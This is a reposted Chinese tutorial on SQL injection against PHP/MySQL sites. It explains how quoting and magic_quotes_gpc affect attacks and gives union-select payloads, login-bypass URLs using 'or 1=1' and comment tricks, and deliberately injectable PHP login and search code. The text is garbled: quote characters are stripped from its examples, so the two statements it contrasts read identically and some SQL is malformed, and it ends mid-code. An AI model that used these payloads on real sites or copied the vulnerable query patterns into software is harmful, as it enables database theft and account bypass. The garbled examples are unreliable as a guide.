频道栏目
首页 > 资讯 > 网站安全 > 正文

php+Mysql注入详解

09-04-30        来源:[db:作者]  
收藏   我要投稿

前言
  2003年开始,喜欢脚本攻击的人越来越多,而且研究ASP下注入的朋友也逐渐多了起来,我看
过最早的关于SQL注入的文章是一篇99年国外的高手写的,而现在国外的已经炉火纯青了,国内才
开始注意这个技术,由此看来,国内的这方面的技术相对于国外还是有一段很大差距,话说回来
,大家对SQL注入攻击也相当熟悉了,国内各大站点都有些堪称经典的作品,不过作为一篇完整的
文章,我觉得还是有必要再说说其定义和原理。如果哪位高手已经达到炉火纯青的地步,不妨给
本文挑点刺。权当指点小弟。
关于php+Mysql的注入
  国内能看到php+Mysql注入的文章可能比较少,但是如果关注各种WEB程序的漏洞,就可以发
现,其实这些漏洞的文章其实就是一个例子。不过由于国内研究PHP的人比研究ASP的人实在少太
多,所以,可能没有注意,况且PHP的安全性比ASP高很多,导致很多人不想跨越这个门槛。
  尽管如此,在PHP站点日益增多的今天,SQL注入仍是最有效最麻烦的一种攻击方式,有效是
因为至少70% 以上的站点存在SQL Injection漏洞,包括国内大部分安全站点,麻烦是因为MYSQL4
以下的版本是不支持子语句的,而且当php.ini里的 magic_quotes_gpc 为On 时。提交的变量中
所有的 (单引号), " (双引号), (反斜线) and 空字符会自动转为含有反斜线的转义字符。给
注入带来不少的阻碍。
  早期的时候,根据程序的代码,要构造出没有引号的语句形成有效的攻击,还真的有点困难
,好在现在的技术已经构造出不带引号的语句应用在某些场合。只要有经验,其实构造有效的语
句一点也不难,甚至成功率也很高,但具体情况具体分析。首先要走出一个误区。
注:在没有具体说明的情况下,我们假设magic_quotes_gpc均为off。
php+Mysql注入的误区
  很多人认为在PHP+MYSQL下注入一定要用到单引号,或者是没有办法像MSSQL那样可以使用
“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”这类的命令来
消除引号,其实这个是大家对注入的一种误解或这说是对注入认识上的一种误区。
  为什么呢?因为不管在什么语言里,在引号(包括单双)里,所有字符串均是常量,即使是
dir这样的命令,也紧紧是字符串而已,并不能当做命令执行,除非是这样写的代码:
$command = "dir c:";
system($command);
  否则仅仅只是字符串,当然,我们所说的命令不单指系统命令,我们这里说的是SQL语句,要
让我们构造的SQL语句正常执行,就不能让我们的语句变成字符串,那么什么情况下会用单引号?
什么时候不用呢?看看下面两句SQL语句:
①SELECT * FROM article WHERE articleid=$id
②SELECT * FROM article WHERE articleid=$id
  两种写法在各种程序中都很普遍,但安全性是不同的,第一句由于把变量$id放在一对单引号
中,这样使得我们所提交的变量都变成了字符串,即使包含了正确的SQL语句,也不会正常执行,
而第二句不同,由于没有把变量放进单引号中,那我们所提交的一切,只要包含空格,那空格后
的变量都会作为SQL语句执行,我们针对两个句子分别提交两个成功注入的畸形语句,来看看不同
之处。
① 指定变量$id为:
1 and 1=2 union select * from user where userid=1/*
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where
userid=1/*
②指定变量$id为:
1 and 1=2 union select * from user where userid=1
此时整个SQL语句变为:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where
userid=1

  看出来了吗?由于第一句有单引号,我们必须先闭合前面的单引号,这样才能使后面的语句
作为SQL执行,并要注释掉后面原SQL语句中的后面的单引号,这样才可以成功注入,如果php.ini
中magic_quotes_gpc设置为on或者变量前使用了addslashes()函数,我们的攻击就会化为乌有,
但第二句没有用引号包含变量,那我们也不用考虑去闭合、注释,直接提交就OK了。
  大家看到一些文章给出的语句中没有包含单引号例如pinkeyes的《php注入实例》中给出的那
句SQL语句,是没有包含引号的,大家不要认为真的可以不用引号注入,仔细看看PHPBB的代码,
就可以发现,那个$forum_id所在的SQL语句是这样写的:
$sql = "SELECT *
FROM " . FORUMS_TABLE . "
WHERE forum_id = $forum_id";

  由于没有用单引号包含变量,才给pinkeyes这个家伙有机可乘,所以大家在写PHP程序的时候
,记得用单引号把变量包含起来。当然,必要的安全措施是必不可少的。
简单的例子
  先举一个例子来给大家了解一下PHP下的注入的特殊性和原理。当然,这个例子也可以告诉大
家如何学习构造有效的SQL语句。
  我们拿一个用户验证的例子,首先建立一个数据库和一个数据表并插入一条记录,如下:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default ,
`password` varchar(20) NOT NULL default ,
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;
#
# 导出表中的数据 `user`
#
INSERT INTO `user` VALUES (1, angel, mypass);

  验证用户文件的代码如下:
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$sql = "SELECT * FROM user WHERE username=$username AND password=$password";
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
if (empty($userinfo))
{
echo "登陆失败";
} else {
echo "登陆成功";
}
echo "<p>SQL Querysql<p>";
?>

  这时我们提交:
http://127.0.0.1/injection/user.php?username=angel or 1=1

  就会返回:
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource
in F:wwwinjectionuser.php on line 13
登陆失败
SQL Query:SELECT * FROM user WHERE username=angel or 1=1 AND password=
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in F:wwwinjectionuser.php on line 13

  看到了吗?单引号闭合后,并没有注释掉后面的单引号,导致单引号没有正确配对,所以由
此可知我们构造的语句不能让Mysql正确执行,要重新构造:
http://127.0.0.1/injection/user.php?username=angel or 1=1

  这时显示“登陆成功”,说明成功了。或者提交:
http://127.0.0.1/injection/user.php?username=angel/*
http://127.0.0.1/injection/user.php?username=angel%23

  这样就把后面的语句给注释掉了!说说这两种提交的不同之处,我们提交的第一句是利用逻
辑运算,在ASP中运用可以说是非常广泛的,这个不用说了吧?第二、三句是根据mysql的特性,
mysql支持/*和#两种注释格式,所以我们提交的时候是把后面的代码注释掉,值得注意的是由于
编码问题,在IE地址栏里提交#会变成空的,所以我们在地址栏提交的时候,应该提交%23,才会
变成#,就成功注释了,这个比逻辑运算简单得多了,由此可以看出PHP比ASP强大灵活多了。
  通过上面的例子大家应该对PHP+MYSQL的注入有个感性的认识了吧?
语句构造
  PHP+MYSQL注入的博大精深不仅仅体现在认证体系的饶过,语句的构造才是最有趣味的地方,
但构造语句和ACCESS、MSSQL都有少许不同,但同样可以发挥得淋漓尽致。看下面的例子。
一、搜索引擎
  网上有一大堆的PHP程序搜索引擎是有问题的,也就是提交特殊字符可以显示所有记录,包括
不符合条件的,其实这个危害也不算大,因为允许用户输入关键字进行模糊查询的地方大多数都
允许检索所有的记录。很多查询的设计就是这样的。
  查询是只读的操作应该不会对数据产生破坏作用,不要太担心。不过泄露隐私不知道算不算
危害,下面是一个标准的搜索引擎:
<form method="GET" action="search.php" name="search">
<input name="keywords" type="text" value="" size="15"> <input type="submit"
value="Search">
</form>
<p><b>Search result</b></p>
<?php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
$keywords = $_GET[keywords];
if (!empty($keywords)) {
  //$keywords = addslashes($keywords);
  //$keywords = str_replace("_","_",$keywords);
  //$keywords = str_replace("%","%",$keywords);
  $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE %$keywords%
$search ORDER BY title DESC";
  $result = mysql_db_query($dbname,$sql);
  $tatol=mysql_num_rows($result);
  echo "<p>SQL Querysql&

相关TAG标签
上一篇:安全防黑Asp.Net代码
下一篇:手动猜解网站库,让我们鄙视微软
相关文章
图文推荐

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站